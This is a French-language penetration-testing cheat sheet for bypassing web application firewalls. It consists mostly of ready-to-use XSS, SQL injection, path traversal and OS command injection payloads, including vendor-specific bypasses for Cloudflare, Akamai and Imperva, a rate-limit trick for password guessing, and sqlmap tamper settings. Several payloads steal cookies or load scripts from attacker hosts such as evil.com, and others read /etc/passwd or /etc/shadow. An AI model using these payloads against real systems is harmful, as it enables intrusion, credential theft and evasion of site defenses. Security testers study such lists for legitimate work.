WAF / Filter bypass

Sites

Methodologie

Le principal dรฉfi lorsque vous essayez d'adapter un payload de contournement est de dรฉterminer comment la charge utile est comprise par le pare-feu de l'application Web. Puisqu'un WAF ne rรฉpond qu'avec une page d'interdiction ou non, il faut avancer par petites รฉtapes ce qui que prendre beaucoups de temps.

Considรฉrons le simple payload suivant:

<script>

Voici un exemple de process de contournement:

<script> //bloquรฉ

<script/x //bloquรฉ (peut-รชtre une regex "<script.*")

:script/x //OK (bloquรฉ si le payload commence par "<")

<tst> //OK (bloquรฉ si le payload commence par "<" et blacklist "script")

<%ascript> //OK (confirme que la regex fonctionne comme ceci "<[blacklist].*"

Maintenant on peut vรฉrifier les caractรจres possibles dans le tag comme ceci:
%20 : espace
%3d : '
%27 : =
%28 : (
%29 : )
%09 : tab
%0a : newline
<x%20x%3dx%27x%28x%29x%09x%0a> //bloquรฉ (l'un des caractรจres est bloquรฉ)

fonctionnement par elimination: on va supprimer les caractรจres un par un

<x%20x%09x> //OK

<%09script> //OK (le backend ne prend pas en compte le tab donnant le rรฉsultat espรฉrรฉ)

Template de test manuel

Cross-Site scripting

<script>
<svg>
<iframe>
<base>
<img onx=1
'0"><x
<1337onx=1>
</x>
"<x>"
<x"0'x

SQL injection

' or 1=1 -- x
\'or+1=''
' x 1=1
sleep(4)
'||1
' select x
or/**/and/**/
' x=1
x')or('x

Local file inclusion

/etc/passwd
etcpasswd
..;/..;/
x../../x
../
../..
1337../
../..x.png
./././
.:./.:./
.%00./x.php

Mindmap de test manuel

Bypass de regex / blacklist

regex => <.*on.*=.*>

<img src=x onerror=alert(1)>  bloquรฉ
<img src=x onerror=alert(1)   pas bloquรฉ

regex => <.*on.*=.*

<img src=x onerror=alert(1)>  bloquรฉ
<img src=x onerror=alert(1)   bloquรฉ

<img src=1%0aonerror=alert(1) pas bloquรฉ

regex => .*on(.*|n)=(.*|\n)
blacklist => alert, confirm, prompt, iframe, script, style, base

<img src=x onerror=alert(1)>  bloquรฉ
<img src=x onerror=alert(1)   bloquรฉ
<img src=1%0aonerror=alert(1) bloquรฉ

<img src=x onerror%0a=console.log(1) pas bloquรฉ

Lorsque vous essayez de contourner un WAF, il est trรจs important de dรฉterminer d'abord comment fonctionne le filtre frontend/backend avant de tenter de l'exploiter. Si l'entrรฉe est automatiquement encodรฉ et n'est donc pas vulnรฉrable, ร  quoi bon contourner le pare-feu ?

Utiliser .%00%./file.php dans l'url.

Cloudflare

<img src=x oNlY=1 oNerror=alert('xxs')//
<img src=x on onerror=alert()>
<Svg Only=1 OnLoad=confirm(1)>
<svg onload=%0Aalert'1'>
<svg/onload=location/**/=โ€™https://your.server/โ€™+document.domain&gt;
<svg/onload=location/**/=โ€™https://
your.server/โ€™+document.domain>
โ€œ><sVg/OnLuFy=โ€X=yโ€oNloaD=;
1^confirm(1)>/โ€œ^1//
<svg onload=prompt%26%23x000000028;document.domain)>
<svg onload=%0Aalert1>
<svg onload=alert%26%230000000040"1")>
%2sscript%2ualert()%2s/script%2u
<svg on onload=(alert)(document.domain)>
<svg onload=alert%26%230000000040"")>
<button/onclick="confirm(document.domain+document.cookie)">CLICK</button>

Faiblesses

  • Retour ร  la ligne qui sรฉpare le payload

  • Surplus de parenthรจses => (sleep((3)))

  • Payloads sans espaces => 'or-'1

  • Blacklist faibles

  • Encodage base64

Akamai

<svg onauxclick=(eval)(location.href.split('#')[1])>
<xhzeem/x=โ€ onmouseover=eva&#x6c;?.(id+/(document.domain)/.source) id=confirm>
<img src=x onerror=a=document;cc=a.createElement('script');cc.src='//evil.com/attack.js';a.querySelector('head')append(cc)>

Faiblesses

  • esRetour ร  la ligne qui sรฉpare le payload

  • Maths pour comparer ou placer des valeurs => (2-10/2)

  • Double url encoding => %2522

  • Encodage base64

  • Fin de tag trop => <img/&gt;/onload=... ou <img/>;/onload=...

  • Espaces avant parenthรจses ou quillemets =>

  • Payloads sans espaces => 'or-'1

Sucuri

1/4script3/4alert(ยขxssยข)1/4/script3/4

Fortiweb

"><iframe src=//14.rs>

Imperva

ยซsVg OnPointerEnter= "locaction= lavas + cript:ale + 'rt%2 + '81%2ยฐ +9%//</div>

Cloudflare rate limit

Cible: prod.target.com

Il est parfois possible de bypass le rate limit d'un waf Cloudflare en changeant le mot prod ร  chaque limite atteinte si celui-ci est redirigรฉ vers prod.target.com.

Exemple:

  • prod.target.com => password1 OK

  • prod.target.com => password2 OK

  • prod.target.com => password3 Blocked

  • crod.target.com => prod.target.com => password3 OK

PHP htmlspecialchars() bypass

PHP 7 et 8 ne filtrent pas le caractรจre "\":

payload: \x3cimg src=x onerror=alert(1)\x3e@x

Variables globales javascript

#bloquรฉ
document.cookie
#bypass
document%20.%20cookie
document/*foo*/./*bar*/cookie
window["document"]["cookie"]

#bloquรฉ
alert(document.cookie)
#bypass
alert(document['cookie'])
window["alert"](window["document"]["cookie"])
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"])
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

self["\x61\x6c\x65\x72\x74"](
    self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
        ["\x63\x6f\x6f\x6b\x69\x65"]
)

self["\x65\x76\x61\x6c"](
  self["\x61\x74\x6f\x62"](
    "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
    c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
    HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
    QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
    oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
    aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
    y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
    5kQ2hpbGQoc2NyaXB0KTs="
  )
)

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
puis,
self[Object.keys(self)[a()]](document.cookie)

#Trouver le numรฉro d'index de "alert"
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
#l'appeler avec un exemple de numรฉro d'index "5"
self[Object.keys(self)[5]](document.domain)

Encoding / Double encoding

#Bloquรฉ
<Svg/x=">"/OnLoAD=confirm()//
#Bypass
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

#Bloquรฉ
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
#Bypass
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

#Bloquรฉ
http://target.com/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
#Bypass
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

#Bloquรฉ
<script>confirm()</script>
#Bypass
%253Cscript%253Econfirm()%253C%252Fscript%253E

Unicode

#Bloquรฉ
<marquee onstart=prompt()>
#Bypass
<marquee onstart=\u0070r\u06f\u006dpt()>

#Bloquรฉ
/?redir=http://google.com
#Bypass
/?redir=http://googleใ€‚com (Unicode alternative)

#Bloquรฉ
<marquee loop=1 onfinish=alert()>x
#Bypass
<marquee loop=1 onfinish=alert(1)>x (Unicode alternative)

#Bloquรฉ
../../etc/shadow
#Bypass
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

Commentaires

#Bloquรฉ
<script>confirm()</script>
#Bypass
<!--><script>confirm/**/()/**/</script>

#Bloquรฉ
/?id=1+union+select+1,2--
#Bypass
/?id=1+un/**/ion+sel/**/ect+1,2--

Caractรจres spรฉciaux

#Bloquรฉ
/bin/cat /etc/passwd
#Bypass
/???/??t /???/??ss??

#Bloquรฉ
/bin/nc 127.0.0.1 443
#Bypass
/???/n? 2130706433 443

#Bloquรฉ
<script>confirm()</script>
#Bypass
<script>eval('con'+'fi'+'rm()')</script>

#Bloquรฉ
/bin/cat /etc/shadow
#Bypass
/bi'n'''/c''at' /e'tc'/sh''ad'ow

#Bloquรฉ
<iframe/onload='this["src"]="javascript:confirm()"';>
#Bypass
<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:con"+"fir"+"m()"';>

Junk characters

#Bloquรฉ
<script>confirm()</script>
#Bypass
<script>+-+-1-+-+confirm()</script>

#Bloquรฉ
<BODY onload=confirm()>
#Bypass
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

#Bloquรฉ
<a href=javascript;alert()>ClickMe
#Bypass
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

Saut de ligne

#Bloquรฉ
<iframe src=javascript:confirm(hacker)">
#Bypass
<iframe
src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hac
ker)">

Variables non initialisรฉes

#Bloquรฉ
/bin/cat /etc/shadow
#Bypass
/bin/cat$u /etc/shadow$u
$u/bin$u/cat$u $u/etc$u/shadow$u

Tabs and Line Feeds

#Bloquรฉ
<IMG SRC="javascript:confirm();">
#Bypass
<IMG SRC=" javascript:confirm();">
<IMG SRC=" jav ascri pt:confirm ();">

#Bloquรฉ
<iframe src=javascript:confirm()></iframe>
#Bypass
<iframe
src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab
;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m
&Tab;%28&Tab;%29></iframe>

OS injection

$0<<<$'\$(($((1<<1))#10010111))\$(($((1<<1))#10010000))'

cat /e"t"c/pa"s"swd
cat /e't'c/pa's'swd
cat /etc/pa??wd
cat /etc/pa*wd
cat /et' 'c/passw' 'd
cat /et$()c/pa$()sswd
cat /et${neko}c/pas${poi}swd
/???/??t /???/p??s??
*echo "dwssap/cte/ tac" | rev
$(echo Y2FOIC9ldGMvcGFzc3dkCg== base64 -d)
w\ho\am\i
/\b\i\n/////s\h
who$@ami
xyz%0Acat%20/etc/passwd
IFS=,;`cat<<<uname,-a`
{cat,/etc/passwd}

test=/ehhh/hmtc/pahhh/hmsswd
puis,
cat ${test//hhh\/hm/}
ou
cat ${test//hhh??hm/}

Mutations balise <a>

XML/HTML confusion

mime type => application/xhtml+xml

<![CDATA[ ><img src onerror=alert(1)> ]]>
<?img ><img src onerror=alert(1)> ?>
<?xml-stylesheet > <img src=x onerror=(1)> ?>

Changer le content encoding

Il est parfois possible de contourner la protection du WAF en utilisant l'en-tรชte custom 'Content-Encoding: radomtext'.

Changer le header pour les upload de fichiers

Certaines librairies plutรดt que d'utiliser le nom de l'extension du fichier pour dรฉfinir son content-type utilisent son header comme "libmagic" par exemple. (#!/bin/node => content-type: application/javascript)

Outils

Waf-bypass

Analyseur de WAF.

Utilisation:

$ python3 main.py --host="target.com"

ressources: https://github.com/nemesida-waf/waf-bypass

Tips SQLMap

utiliser les arguments --random-agent --level=5 --risk=3 --tamper="space2comment,between,randomcase"

Derniรจre mise ร  jour